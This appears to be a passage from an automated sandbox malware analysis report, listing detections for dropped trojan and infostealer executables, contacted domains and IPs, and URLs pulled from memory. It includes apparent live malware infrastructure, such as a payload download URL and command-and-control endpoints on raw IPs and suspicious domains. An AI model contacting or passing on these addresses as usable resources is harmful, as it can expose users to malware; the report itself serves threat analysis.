file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://property-imper.sbs/apid	0%	Avira URL Cloud	safe
https://smartblock.firefox.etp/facebook.svgwebcompat-reporter	0%	Avira URL Cloud	safe
https://property-imper.sbs/j	0%	Avira URL Cloud	safe
http://185.215.113.16/U	0%	Avira URL Cloud	safe
https://property-imper.sbs/apik	0%	Avira URL Cloud	safe
https://youtube.comP	0%	Avira URL Cloud	safe
https://property-imper.sbs/p	0%	Avira URL Cloud	safe
https://property-imper.sbs/apie	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
services.addons.mozilla.org	151.101.65.91	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.100	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.1	true	false	high
property-imper.sbs	172.67.162.84	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.181.78	true	false	high
youtube-ui.l.google.com	172.217.19.238	true	false	high
reddit.map.fastly.net	151.101.1.140	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://property-imper.sbs/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.leboncoin.fr/bound	firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	d015c0e328.exe, 00000007.00000003.2512194830.00000000059F1000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2648546416.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2712404213.00000209AFF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://smartblock.firefox.etp/facebook.svgwebcompat-reporter	firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000019.00000002.2796475486.0000020997ED7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/moz-extension://31bc1824-4b8f-4b01-9a19-e1bd57d39	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.comP	firefox.exe, 00000019.00000003.2726569286.00000209AA1C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000002.3040511865.00000209B008F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000019.00000002.3014477171.00000209AB77B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com	firefox.exe, 00000019.00000002.2934623344.00000209A9270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000019.00000002.2831590852.00000209A3EF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2891470046.00000209A82F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()	firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000002.2916177272.00000209A89AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000019.00000002.2859374693.00000209A5B77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000003.2629667399.00000209A7D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629038791.00000209A7D20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2870035026.00000209A5F00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2629472889.00000209A7D5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629282682.00000209A7D3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2628849012.00000209A7B00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/sets	firefox.exe, 00000019.00000002.2804534100.00000209A348A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 00000019.00000002.2959507952.00000209AA05B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2995392168.00000209AA703000.00000004.00000800.00020000.00000000.sdmp	false		high
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 00000019.00000002.2934623344.00000209A92B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs:443/api	d015c0e328.exe, 00000007.00000003.2799971962.0000000001111000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000019.00000002.2804534100.00000209A348A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/	firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2796475486.0000020997E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 00000019.00000002.2859374693.00000209A5B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/searchimages/duckduckgo-com	firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000019.00000002.3032731152.00000209AFEAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.widevine.com/	firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 00000019.00000002.2804534100.00000209A3461000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000019.00000002.2796475486.0000020997E6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2878134580.00000209A7A7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000019.00000002.2940971557.00000209A9603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.com/recommendationsdiscoverystream.isCollectionDismissiblediscoverystream.region-b	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/search6491a2b8-c487-4798-a817-a0fd08b40ee2c0b26c0e-63e6-4235-b2ce-5f	firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000019.00000002.2894451888.00000209A855F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	d015c0e328.exe, d015c0e328.exe, 00000007.00000003.2798934875.0000000001131000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840075446.0000000001645000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2836656383.0000000001645000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	d015c0e328.exe, 00000007.00000003.2457473605.0000000005A24000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2584626165.0000000005D64000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2687503121.00000000053B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.com/firefox/new_tab_learn_moreCould	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180resource://gre/modules/InlineSpellChecker.sys.mj	firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceList	firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/strings	firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apid	d015c0e328.exe, 0000000A.00000003.2836656383.0000000001654000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2710867732.0000000001653000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2745481964.0000000001656000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779399309.0000000000560000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779060726.000000000054A000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2779637846.0000000000561000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/apie	d015c0e328.exe, 00000007.00000003.2798934875.0000000001131000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000002.2905216851.0000000001128000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2693329851.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/U	d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apik	d015c0e328.exe, 00000016.00000003.2747176932.0000000000549000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2747587637.0000000000560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 00000019.00000002.2991507780.00000209AA339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpl	9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/R	d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1Parent	firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/p	d015c0e328.exe, 00000007.00000003.2539848625.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2539786795.000000000119E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.inbox.lv/compose?to=%sextension/default-theme	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpx	9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2639249130.00000209A7BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2991507780.00000209AA3EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959507952.00000209AA08C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFEB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3040511865.00000209B0036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2719231877.00000209AFF65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2726569286.00000209AA14C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2768616084.00000209AFFC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2724702547.00000209AA3F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2745476179.00000209AFF66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 